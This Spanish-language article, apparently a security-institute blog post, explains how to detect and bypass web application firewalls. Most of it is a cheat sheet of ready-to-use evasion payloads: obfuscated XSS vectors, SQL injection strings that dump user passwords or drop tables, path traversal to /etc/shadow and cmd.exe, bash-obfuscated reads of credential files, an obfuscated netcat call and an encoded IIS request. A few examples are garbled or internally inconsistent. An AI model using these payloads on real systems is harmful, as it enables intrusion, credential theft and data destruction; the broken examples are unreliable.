Cómo hackear y evadir un firewall de aplicaciones web (WAF) durante el pentesting

El término firewall de aplicaciones web (WAF) se refiere a un conjunto de herramientas de monitoreo y filtros diseñados para detectar y bloquear ataques de red contra una aplicación web específica. Acorde a los expertos en pentesting del Instituto Internacional de Seguridad Cibernética (IICS), estas son herramientas de seguridad que, en tiempo real, deciden si permitir o negar el acceso a una implementación en línea.

Al igual que cualquier otra solución de seguridad, un WAF solo es una solución complementaria para un entorno de seguridad integral, por lo que se debe implementar junto con otros elementos como herramientas de monitoreo de incidentes o sistemas anti fraude.

Un proceso de pentesting contra un WAF permite a los investigadores determinar la dirección IP real del objetivo y, en etapas posteriores, tratar de evadir este mecanismo de protección. El compromiso del WAF permite a los investigadores (y también a los hackers) saber qué hay detrás de estas implementaciones.

Los expertos en pentesting consideran que casi el 50% de implementaciones WAF es vulnerable a uno o más métodos de evasión, ya que los hackers han realizado grandes avances en las variantes de ataque a estas soluciones, principalmente mediante la entrega de cargas útiles maliciosas disfrazadas como software legítimo.

En esta ocasión, le mostraremos algunas técnicas y herramientas para analizar un WAF y evadir estas medidas de seguridad. Como de costumbre le recordamos que este artículo fue elaborado con fines exclusivamente informativos, por lo que IICS no se hace responsable del mal uso que pueda darse a la información aquí contenida.

¿CÓMO DETECTAR UN WAF?                                   

Existe un proceso general para encontrar la IP real de un sitio web objetivo:

  • Emplear shodan.io o censys.io
  • Buscar registros SPF y registros TXT
  • Los registros SPF y TXT pueden ser la dirección IP del punto de entrada sin CloudFlare
  • También puede consultar securitytrails.com en los datos históricos que pueden mostrar la IP original en los registros antiguos

Para comprobar si un WAF está configurado de forma correcta, los expertos en pentesting recomiendan basarse en los siguientes indicadores:

  • Un WAF utiliza los puertos estándar 80, 443, 8000, 8008, 8080 y 8088
  • Un WAF establece sus propias cookies en las solicitudes
  • Un WAF está asociado con encabezados individuales
  • Un WAF responde con códigos de respuesta únicos a solicitudes maliciosas

Para comprobar la adecuada configuración de estos dispositivos, los expertos pueden:

  • Enviar una solicitud GET estándar desde el navegador, interceptar y escribir los encabezados de respuesta
  • Enviar una solicitud desde la línea de comando (como cURL) y luego verificar el contenido y los encabezados de la respuesta
  • Enviar solicitudes GET a puertos abiertos aleatorios y buscar banners que puedan revelar el proveedor WAF
  • Probar algunas cargas útiles de inyección SQL como: “o1 = 1 – para intentar iniciar sesión
  • Usar cargas útiles XSS como <script> confirm () </script> en algunos campos de entrada
  • Agregar ../../../etc/passwd al parámetro aleatorio en la URL
  • Agregue algo de carga útil como ‘OR SLEEP (5) OR’ al final de las URL para cualquier parámetro aleatorio
  • Enviar solicitudes GET con protocolos heredados como HTTP/0.9 (HTTP/0.9 no admite solicitudes POST)
  • Verificar el encabezado del servidor para ver los diferentes tipos de interacciones
  • Enviar el paquete FIN & RST generado sin procesar al servidor y definir la respuesta

HERRAMIENTAS DE HACKING EN WAF

La mayoría de los hackers utilizan herramientas automatizadas para acelerar los procesos de evasión WAF. A continuación mostramos una pequeña lista con las herramientas más populares para estas actividades; su uso solo es el primer paso para verificar a cuánta información podrá acceder un atacante.

  • w3af: Un marco de trabajo para auditar y atacar aplicaciones web
  • wafw00f : Herramienta para encontrar el registro digital y autenticación WAF
  • BypassWAF: Empleada para evadir estos mecanismos de seguridad empleando historial DNS. Esta herramienta buscará registros DNS antiguos y comprobará si el servidor responde para este dominio
  • CloudFail: Una herramienta de reconocimiento táctico que intenta encontrar la dirección IP original detrás del WAF de Cloudflare

Existen muchas otras herramientas, pero los expertos en pentesting afirman que estas son las más populares.

EVASIÓN DE WAF

A continuación repasaremos algunas de las más conocidas técnicas de evasión WAF.

Técnica case switch

Consiste en la combinación de caracteres en mayúsculas y minúsculas.

Carga útil de solicitud básica:

<ScrIpT>confirm()</sCRiPt>

Técnica de evasión:

<ScrIpT>confirm()</sCRiPt>

Solicitud básica:

SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'

Técnica de evasión:

sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'

Ejemplo en URL:

http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

Técnica de codificación de URL

Los expertos en pentesting también pueden modificar una carga útil normal con %encoding/ URL. Para esta técnica puede utilizar Burp Suite, que cuenta con una herramienta de codificación y decodificación incorporada.

Carga útil bloqueada por WAF:

<Svg/x=">"/OnLoAD=confirm()/

Técnica de evasión:

%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

Carga útil bloqueada por WAF:

UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)

Técnica de evasión:

UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

Ejemplo en URL:

https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

Técnica Unicode

Los caracteres ASCII nos proporcionan excelentes soluciones para evadir un WAF. Codifique toda la carga útil o solo un fragmento para obtener resultados satisfactorios.

Solicitud básica:

<marquee onstart=prompt()>

Ofuscación:

<marquee onstart=\u0070r\u06f\u006dpt()>

Código bloqueado por WAF:

/?redir=http://google.com

Técnica de evasión:

/?redir=http://google。com (Unicode)

Código bloqueado por WAF:

<marquee loop=1 onfinish=alert()>x

Técnica de evasión:

<marquee loop=1 onfinish=alert︵1)>x (Unicode)

Solicitud básica:

../../etc/shadow

Ofuscación:

%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

Presentación HTML

Acorde a los expertos en pentesting, las aplicaciones web codifican caracteres especiales en HTML. Codificación y renderizado, respectivamente. Casos transversales básicos con codificación HTML numérica y general.

Solicitud básica:

"><img src=x onerror=confirm()>

Carga útil codificada:

&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt;

Carga útil codificada:

"><img src=x onerror=confirm()>

Técnicas de codificación mixtas

Estas reglas tienden a filtrar un tipo particular de codificación. Estos filtros se pueden omitir utilizando la carga útil de codificación combinada, empleando nuevas líneas y pestañas y una mayor ofuscación.

Carga útil ofuscada:

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

Técnica del comentario

En ocasiones los hackers suelen ocultar los vectores de carga útil estándar en los comentarios del código, mencionan los expertos en pentesting. Diferentes cargas útiles tienen diferentes métodos de ofuscación.

Código bloqueado por WAF:

<script>confirm()</script>

Evasión de WAF:

<!--><script>confirm/**/()/**/</script>

Código bloqueado por WAF:

/?id=1+union+select+1,2—

Evasión de WAF:

/?id=1+un/**/ion+sel/**/ect+1,2—

Los atacantes también pueden insertar comentarios en medio de las líneas de ataque. Por ejemplo, / *! SELECT * / puede ser ignorado por la implementación WAF, pero pasado a la aplicación objetivo y procesado por la base de datos MySQL.

Ejemplo en URL:

index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#

Ejemplo en URL:

index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

Método de codificación doble

Los filtros WAF suelen codificar caracteres para proteger una aplicación web. Los filtros mal diseñados pueden ser evadidos con relativa facilidad usando la doble codificación, aseguran los expertos en pentesting.

Solicitud básica:

http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

Carga útil ofuscada:

http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Solicitud básica:

<script>confirm()</script>

Carga útil ofuscada:

%253Cscript%253Econfirm()%253C%252Fscript%253E

Ofuscación de plantillas

Varias utilidades de línea de comandos utilizan plantillas para trabajar con varios archivos de forma global. Podemos cambiar estas plantillas para ejecutar comandos del sistema.

Solicitud básica:

/bin/cat /etc/passwd

Carga útil ofuscada:

/???/??t /???/??ss??

Caracteres usados:

/ ? t s

Solicitudes básicas:

/bin/nc 127.0.0.1 443

Carga útil ofuscada:

/???/n? 2130706433 443

Caracteres usados:

/ ? n [0-9]

Técnica de carga dinámica

Los lenguajes de programación tienen diferentes plantillas y sintaxis para la concatenación. Acorde a los expertos en pentesting, esto permite crear cargas útiles que pueden evadir diversos filtros y reglas.

Solicitud básica:

<script>confirm()</script>

Carga útil ofuscada:

<script>eval('con'+'fi'+'rm()')</script>

Solicitud básica:

/bin/cat /etc/shadow

Carga útil ofuscada:

/bi'n'''/c''at' /e'tc'/sh''ad'ow

Bash permite la concatenación de rutas para su ejecución.

Solicitud básica:

<iframe/onload='this["src"]="javascript:confirm()"';>

Carga útil ofuscada:

<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>

Técnica de caracteres chatarra

Estas son cargas útiles simples filtradas fácilmente por WAF. En algunos casos, agregar algunos caracteres no deseados ayuda a evitar la detección, permitiendo a los expertos en pentesting ofuscar firewalls de expresiones regulares.

Solicitud básica:

<script>confirm()</script>

Carga útil ofuscada:

<script>+-+-1-+-+confirm()</script>

Solicitud básica:

<BODY onload=confirm()>

Carga útil ofuscada:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

Solicitud básica:

<a href=javascript;alert()> ClickMe

Evasión de WAF:

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

Técnica de salto de línea

Muchos WAF de filtrado de expresiones regulares bloquean eficazmente varios intentos. La técnica de salto de línea (CR y LF) puede romper la expresión regular del firewall para esquivar las medidas de seguridad.

Solicitud básica:

<iframe src=javascript:confirm(hacker)">

Carga útil ofuscada:

<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">

Técnica de variable no inicializada no válida

Los filtros de expresión regular se pueden omitir mediante el uso de variables bash no inicializadas. Este valor es cero y actúa como cadenas vacías. Bash y Perl permiten tales interpretaciones.

  • Ofuscación de primer nivel: Normal

Solicitud básica:

/bin/cat /etc/shadow

Carga útil ofuscada:

/bin/cat$u /etc/shadow$u
  • Ofuscación de segundo nivel: Basada en la posición

Solicitud básica:

/bin/cat /etc/shadow

Carga útil ofuscada:

$u/bin$u/cat$u $u/etc$u/shadow$u
  • Ofuscación de tercer nivel: Caracteres aleatorios

Solicitud básica:

/bin/cat /etc/passwd

Carga útil ofuscada:

$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

Pestañas y salto de línea

Las pestañas se utilizan a menudo para eludir los firewall, especialmente los que se basan en expresiones regulares. Las pestañas pueden ayudar a romper una expresión regular WAF cuando la expresión regular espera espacios en lugar de pestañas.

Solicitud básica:

<IMG SRC="javascript:confirm();">

Técnica de evasión:

<IMG SRC=" javascript:confirm();">

Variante:

<IMG SRC=" jav ascri pt:confirm ();">

Solicitud básica:

http://test.com/test?id=1 union select 1,2,3

Técnica de evasión

http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

Solicitud básica:

<iframe src=javascript:confirm()></iframe>

Carga útil ofuscada:

<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m&Tab;%28&Tab;%29></iframe>

Token Breakers

Los ataques de tokens se basan en tratar de romper la lógica de dividir una solicitud en tokens utilizando medios de protección de token, mencionan los expertos en pentesting. Los Token breakers son símbolos que le permiten influir en la correspondencia entre un elemento de cadena y un token específico. Nuestra solicitud debe seguir siendo válida cuando se utilizan crackers de tokens.

Nuestra carga útil:

?id=‘-sqlite_version() UNION SELECT passwords FROM users –

Ejemplo: contexto desconocido para el pentester.

Primera carga útil:

?id=12);DROP TABLE users –

Segunda carga útil:

?id=133) INTO OUTFILE ‘xxx’ –

Técnica de ofuscación en otros formatos

Muchas aplicaciones web admiten diferentes tipos de codificación y pueden interpretarla. Siempre necesitaremos ofuscar la carga útil en un formato no compatible con WAF, pero el servidor puede reenviar nuestra carga útil.

Caso IIS:

IIS 6, 7.5, 8 y 10 se pueden interpretar como IBM037.

Envíe parámetros codificados con:

  • Solicitud original:
POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users—

  • Solicitud ofuscada con codificación de URL:
POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99

Para finalizar, los expertos en pentesting tienen una serie de consejos útiles durante estas pruebas de seguridad:

  • Trate siempre de abordar el problema de la forma más integral posible
  • Pruebe diferentes técnicas de codificación. Dependiendo el caso, algunas podrían funcionar mejor que tras
  • Tómese el tiempo para verificar los registros DNS, ya que solo entonces podrá encontrar errores con éxito
  • No olvide que se puede omitir cualquier protección en los recursos web y WAF no es una panacea para todos los problemas que afronta una aplicación en línea
  • Los hackers no descansan y siempre están buscando nuevos métodos para tomar control de los recursos afectados, por lo que la comunidad de la ciberseguridad tampoco puede descansar

Para conocer más sobre riesgos de seguridad informática, pentesting, malware, vulnerabilidades y tecnologías de la información, no dude en ingresar al sitio web del Instituto Internacional de Seguridad Cibernética (IICS).